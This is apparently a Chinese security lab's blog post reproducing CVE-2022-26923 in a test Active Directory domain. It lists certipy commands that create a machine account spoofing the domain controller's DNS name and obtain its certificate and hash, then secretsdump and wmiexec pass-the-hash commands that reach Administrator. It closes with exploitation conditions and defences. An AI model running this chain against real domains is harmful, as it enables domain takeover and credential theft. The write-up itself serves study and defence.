声明
以下内容,均为文章作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。
长白山攻防实验室拥有该文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的副本,包括版权声明等全部内容。声明长白山攻防实验室允许,不得任意修改或增减此文章内容,不得以任何方式将其用于商业目的。
0x01 前言
0x02
Active Directory 证书服务
AD CS 是Microsoft 的公钥基础结构 ( PKI ) 实施。由于AD在组织中提供了一定程度的信任,因此它可以用作CA来证明和委托信任。
AD CS用于多种用途,例如加密文件系统、创建和验证数字签名、甚至是用户身份验证,这也给攻击者提供了良好的攻击途;因证书可以在凭证轮换中幸存下来,这意味着即使重置了受损账户的密码,也不会使恶意生成的证书无效,从而提供长达 10 年的持续凭证盗窃!下图显示了证书请求和生成的流程:
0x03 复现环境
配置一个域控, 令为hacker.com,添加一个低权限用户atree/Pass123
接下来添加ADCS,在添加服务角色中添加Active Directory证书服务
安装结束后配置证书服务:
配置总览:
ADCS服务安装完毕,在域控机执行命令:certutil -config - -ping记住我们的CA结构名,计算机名
接下来修改kali中的host文件:
自此我们的域控和域域证书服务就搭建完成了。
0x05 漏洞复现
首先验证获取的证书是否有效,使用我们已知的低权限账号atree:Pass123,在kali中使用certipy工具分别执行:
certipy req jiacheng.com/'atree:Pass123'@WIN-VU69RG1VN5G.jiacheng.com -ca jiacheng-WIN-VU69RG1VN5G-CA -template User -debug
certipy auth -pfx atree.pfx -debug
通过证书成功获取atree的哈希值
下一步我们创建一个机器账户:
命令:
certipy account create jiacheng.com/'atree:Pass123'@WIN-
VU69RG1VN5G.jiacheng.com -user 'atreePC' -dns "WIN-
VU69RG1VN5G.jiacheng.com"
通过申请的机器账户获取证书。
命令:
certipy req jiacheng.com/'atreePC$:xCZTZzZbnt7uAHJL'@WIN-
VU69RG1VN5G.jiacheng.com -ca jiacheng-WIN-
VU69RG1VN5G-CA -template Machine -debug
在这里我们发现获取的证书是域控主机的证书,通过机器账户的证书获的hash。
命令:
certipy auth -pfx win-vu69rg1vn5g.pfx
接下来利用secretsdump来利用主机的hash来dump全部的hash
命令:
secretsdump.py 'jiacheng.com/win-
[email protected]' -hashes
2ed156932fe310afa24d377e8cbfb333:2ed156932fe310afa24d377e8cbfb333
成功获取了Administrator的hash后利用wmiexec利用此hash成功提权:
命令:
wmiexec.py -hashes
aad3b435b51404eeaad3b435b51404ee:579da618cfbfa85247acf1f800a280a4
[email protected]
0x06 总结
CVE-2022-26923利用条件有4点:
-
目标开启了ADCS服务。
-
可以访问目标的636端口,由于创建机器账户时通过的636端口LDAP。
-
可以访问目标的445端口。
-
我们可以通过普通用户创建机器账户。
0x07 防御方案
-
补丁地址:
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26923
-
新证书中引入了新的对象 ID (OID),以进一步对用户进行指纹识别。这是通过在新的szOID_NTDS_CA_SECU-RITY_EXT OID 中嵌入用户的 object-Sid 来完成的。
-
"验证写入DNS主机名"权限现在只允许您将DNSHostname设置为与SAM帐户名或计算机帐户匹配的属性,这意味着它不能用于欺骗其他主机的帐户名。
-
确保您的证书模板受到限制。仅在需要时才允许机器和用户自动注册。否则,通过安全配置,可以减少这些模板的权限。
-
如果没有允许用户将主机注册到 AD 的商业案例,请将所有不应注册新主机的账户的MS-DS-Machine-Acc-ount-Quota属性更改为 0。然而,这并不能解决问题,因为攻击者只需获得对单个加入域的主机的管理访问权限,就可以执行证书请求。
▇ 扫码关注我们 ▇
长白山攻防实验室
学习最新技术知识
原文始发于微信公众号(长白山攻防实验室):内网CVE-2022-26923复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论